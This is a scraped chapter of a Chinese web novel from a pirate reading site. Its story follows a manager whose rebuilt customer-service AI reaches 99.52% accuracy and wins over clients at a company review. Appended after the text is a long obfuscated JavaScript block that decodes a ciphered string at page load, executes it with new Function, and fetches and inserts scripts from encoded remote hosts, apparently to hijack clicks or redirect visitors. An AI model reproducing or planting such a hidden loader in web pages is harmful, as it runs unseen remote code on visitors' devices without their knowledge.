首页
[切换至繁体版]
返回

第36章 算法封神!百分之一的碾压

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

时间我来抢。”林辰的声音从门口传来。
    他走进机房,手里提着四杯咖啡,眼睛里的血丝比陈默还重。过去四十八小时,他睡了不到四小时,大部分时间在协调资源、解决阻塞、给团队打气。
    “李总特批,把公司所有空闲的GPU算力都调给我们了。”林辰把咖啡分给大家,“另外,我从朋友那儿借了二十张A100,远程集群,已经接入。现在我们的总算力,是之前的四倍。”
    陈默眼睛一亮:“那训练速度能提升三倍!一百二十轮,原来要八小时,现在三小时就够了!”
    “所以,继续。”林辰说,“我要在上午九点前,看到准确率突破99.5%。”
    “是!”
    训练继续。
    林辰走出机房,走到窗边。天还没亮,城市笼罩在深蓝色的黎明前黑暗中。远处的地平线泛起一丝极淡的鱼肚白,像一道微弱的希望。
    他喝了一口咖啡,苦得皱眉。
    四十八小时,不眠不休。整个算法组,整个“星语”团队,都在拼命。有人直接在行军床上睡着了,手里还抱着电脑。有人边哭边调参,因为压力太大。但没人放弃。
    因为所有人都知道,这一仗,不能输。
    手机震动,是苏雨晴发来的微信:“还在公司?”
    林辰回复:“嗯,最后冲刺。今天上午汇报,结束了就能回家。”
    (本章未完,请点击下一页继续阅读)第36章算法封神!百分之一的碾压(第2/2页)
    “注意身体。我和孩子等你。”
    “好。”
    简单的对话,却让林辰心里一暖。这二十七天,他回家的次数屈指可数。苏雨晴没抱怨,只是每天发消息提醒他吃饭、睡觉。父母那边,她也安抚得很好。有她在,家里稳如磐石,他才能在前线拼命。
    这就是他要守护的东西。
    为了这个,他必须赢。
    上午八点四十分。
    机房的门猛地被推开。
    陈默冲出来,头发凌乱,眼睛通红,但脸上是抑制不住的狂喜。
    “林总!99.52%!准确率99.52%!”
    林辰手里的咖啡杯晃了一下,滚烫的液体溅到手背上,但他没感觉。
    “确认了?”
    “确认了!测试集、验证集、线上影子流量,全部通过!特别是长尾问题,准确率从73%提升到91%!这已经不是优化了,这是质变!”
    林辰闭上眼睛,长长地、深深地吸了一口气。
    然后他睁开眼。
    “部署。九点半的汇报,我要用新模型演示。”
    “已经在部署了!十分钟后完成!”
    4
    上午九点二十五分,星河科技九楼大会议室。
    会议室里坐满了人。李铭坐在主位,左手边是陈明远,右手边是几个林辰没见过的人——看穿着气质,应该是潜在客户。再往后,是公司所有高管、各业务线负责人。
    气氛凝重。
    因为所有人都知道,今天是“星语”重构项目的结项汇报。林辰立下的“一个月”军令状,今天是最后一天。成败,在此一举。
    “林总怎么还没来?”陈明远看了眼手表,声音不大,但足够让所有人听见,“不会是……没准备好,不敢来了吧?”
    几个客户代表交换了下眼神。
    李铭没说话,只是端起茶杯,吹了吹浮沫。
    会议室门被推开。
    林辰走进来,身后跟着王海清和陈默。他换了身干净的西装,胡子刮了,头发整理过,但眼里的血丝和脸上的疲惫藏不住。不过,他的背挺得很直,脚步沉稳。
    “抱歉,让各位久等了。”林辰走到演示台前,插上U盘,“刚刚在做一个最后的测试,耽误了几分钟。”
    “什么测试这么重要,连汇报时间都能耽误?”陈明远问,语气里的嘲讽毫不掩饰。
    “一个能决定‘星语’生死的测试。”林辰打开PPT,第一页是巨大的标题:《“星语”客服系统重构结项汇报——从濒死到新生》。
    他没看陈明远,目光扫过全场,最后落在李铭脸上。
    “李总,各位领导,各位客户朋友。过去一个月,我们做了件事:把‘星语’这个三年前设计、已经病入膏肓的系统,从头到脚重构了一遍。目标很明确:让它活过来,让它变得更好,让它有资格重新站上市场舞台。”
    他切到下一页,是数据对比图。
    “重构前,系统可用性99.3%,平均响应时间380毫秒,核心算法准确率97.2%。重构后,可用性99.97%,响应时间120毫秒,算法准确率……”
    他停顿了一下。
    会议室里所有人屏住呼吸。
    陈明远嘴角挂着一丝冷笑,等着看林辰报出一个“不错但不够”的数字。
    “算法准确率,”林辰缓缓说,“99.52%。”
    死一般的寂静。
    然后,嗡的一声,会议室炸了。
    “多少?!”
    “99.5%?!”
    “这不可能!云图也才99%!”
    “林总,数据确认过吗?会不会是测试集有问题?”
    林辰等议论声稍平,才开口:“数据经过三轮交叉验证,测试集、验证集、线上影子流量,全部确认。准确率99.52%,长尾问题准确率从73%提升到91%。这个数字,我负全责。”
    他说“负全责”时,目光平静,但带着不容置疑的力量。
    陈明远脸色变了,他猛地站起来:“林总,吹牛也要有个限度!99.5%的准确率,你知道这意味着什么吗?意味着我们的算法水平,已经超过了云图,超过了行业所有竞争对手!你觉得,在座的人会信吗?”
    “所以我准备了演示。”林辰说,“陈默,接系统。”
    陈默在笔记本电脑上操作了几下,会议室的投影切换到一个简洁的测试界面。左侧是输入框,右侧是系统回答区域。
    “这是新版的‘星语’客服系统,搭载了刚刚训练完成的99.52%准确率模型。”林辰说,“现场,任何一位,可以提出任何问题。问题的复杂度、口语化程度,都可以尽量刁钻。我们现场测试,现场看结果。”
    挑衅。
    赤裸裸的挑衅。
    但没人敢先开口。因为如果林辰说的是真的,那这个演示就会成为他的封神之战。如果他说的是假的,那就会当场身败名裂。
    赌注太大了。
    “我来吧。”一个客户代表开口了。五十多岁的男人,穿着深灰色西装,气质沉稳,“我是东方银行的科技部总经理,姓周。我们银行正在选型客服系统,云图和智创互联的方案都看过了。今天,我也想看看星河科技的水平。”
    他走到演示台前,在输入框里打字:
    “我在你们银行APP上有一笔定期存款,今年8月15号到期,金额二十万。我现在想提前支取,但APP上提示要收取违约金。我想问问,违约金的计算方式是什么?如果我等到期再取,利息是多少?另外,如果我提前支取后,马上再存一笔新的定期,利率还能享受原来的优惠吗?”
    问题很长,很具体,包含了多个子问题,还涉及业务规则。
    典型的复杂长尾问题。
    会议室里所有人都盯着屏幕。
    三秒钟后,系统回答:
    “周先生您好。关于您的问题:
    1.提前支取定期存款的违约金计算方式为:提前支取金额×剩余天数×(原利率-活期利率)/365。以您二十万、8月15日到期为例,如果今天(7月20日)提前支取,剩余25天,原利率2.5%,活期利率0.3%,违约金约为:200,000×25×(2.5%-0.3%)/365≈300元。
    2.如果等到期再取,利息为:200,000×2.5%×1年=5,000元。
    3.提前支取后重新存入,无法享受原优惠利率,需按存入当日的挂牌利率计算。目前我行三年期定期利率为2.8%,高于您原利率。建议:如果您不急用资金,建议等到期再取,可避免违约金损失。如有紧急用款需求,可考虑部分提前支取,减少违约金。”回答准确、完整、有条理,还给出了建议。
    周总愣住了。
    他仔细看了两遍回答,然后抬起头,看向林辰:“利率数字……你们是怎么知道的?这些数据应该没公开吧?”
    “系统接入了公开的利率数据和业务规则库。”林辰解释,“但更重要的是,它能理解您问题里的‘定期存款’、‘提前支取’、‘违约金’、‘利率’这些概念,以及它们之间的计算关系。这靠的是模型的语义理解能力。”
    周总沉默了几秒,缓缓点头。
    “准确。而且建议很专业。”他坐回座位,对李铭说,“李总,你们这个系统……有点东西。”
    这句话,重如千钧。
    会议室里再次响起议论声,但这次,风向变了。很多人看林辰的眼神,从怀疑变成了震惊,再变成了佩服。
    陈明远的脸色,从白变青,又从青变红。他张了张嘴,想说什么,但没说出来。
    “还有人要试吗?”林辰问。
    另一个客户代表站起来,是个三十多岁的女性,语气很冲:“我是‘快学教育’的运营总监。我们做在线教育的,最头疼的就是家长的各种奇葩问题。我随便问几个,你能答上来吗?”
    “请。”
    “我家孩子今年六年级,数学成绩一直上不去。我在你们平台买了‘小学数学提升班’,但孩子说老师讲得太快,听不懂。我想退课,但已经过了七天无理由退货期。怎么办?”
    “家长您好。理解您的焦虑。首先,建议您联系我们的班主任,申请‘课程调整’。我们可以为您孩子匹配更适合的老师和进度。其次,平台有‘学不会免费重学’政策,如果调整后仍不满意,可申请重学。最后,如果坚持退课,虽然已过七天,但我们可以为您特殊申请,退还50%费用。具体请联系客服热线123456。”
    “那如果我想换一个科目呢?比如从数学换成英语?”
    “可以。平台支持‘课程转换’,差额多退少补。但需注意,英语课程的难度和进度与数学不同,建议先试听再做决定。”
    回答再次精准。
    女总监不说话了,坐回去,眼神复杂。
    接着,又有几个人提问,有刁钻的,有口语化的,有涉及多个业务线的。系统一一回答,准确率极高,偶尔有小瑕疵,但整体表现远超预期。
    到最后,已经没人怀疑“99.52%”这个数字的真实性了。
    演示结束。
    会议室里安静了几秒,然后响起掌声。起初稀落,然后密集,最后连成一片。很多人站起来鼓掌,包括那几个客户代表。
    林辰站在演示台前,看着这一切。
    二十七天的疯狂,四十八小时的不眠,在这一刻,值了。
    他看向李铭。李铭也在鼓掌,脸上是毫不掩饰的笑容,眼神里写着四个字:干得漂亮。
    他看向陈明远。陈明远也在鼓掌,但动作僵硬,脸色灰败,像一夜间老了十岁。
    这场仗,他赢了。
    赢得干净利落,赢得无可争议。
    “林总,”周总站起身,走到林辰面前,伸出手,“东方银行的客服系统升级项目,预算两千万,三个月内招标。我希望,星河科技能来。”
    林辰握住他的手:“一定。”
    5
    汇报结束,人群散去。
    林辰最后一个离开会议室。他走得很慢,因为腿有点软。二十七天的高压,四十八小时的冲刺,在这一刻松弛下来,疲惫如潮水般涌上,几乎要把他淹没。
    但他不能倒。
    还有最后一件事。
    他走到李铭办公室门口,敲门。
    “进。”
    林辰推门进去。李铭站在窗前,背对着他,看着外面的城市。
    “林辰,”他没回头,“你今天,给了我一个天大的惊喜。”
    “是团队一起努力的结果。”林辰说。
    “团队是你带的,架构是你设计的,算法突破的关键是你提供的。”李铭转身,目光锐利,“我不问你是怎么做到的,我只要结果。结果证明,我没看错人。”
    他走回办公桌,从抽屉里拿出一份文件,推到林辰面前。
    “这是‘星语’产品线负责人的任命书。从今天起,‘星语’独立成事业部,你全权负责,直接向我汇报。年薪调整到三百万,期权再给1%。另外,东方银行那个项目,你亲自跟,拿下它,项目奖金的20%归你。”
    很丰厚的回报。
    但林辰没看文件,而是说:“李总,我有个请求。”
    “说。”
    “陈明远陈总,我希望他不再干涉‘星语’的任何事务
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();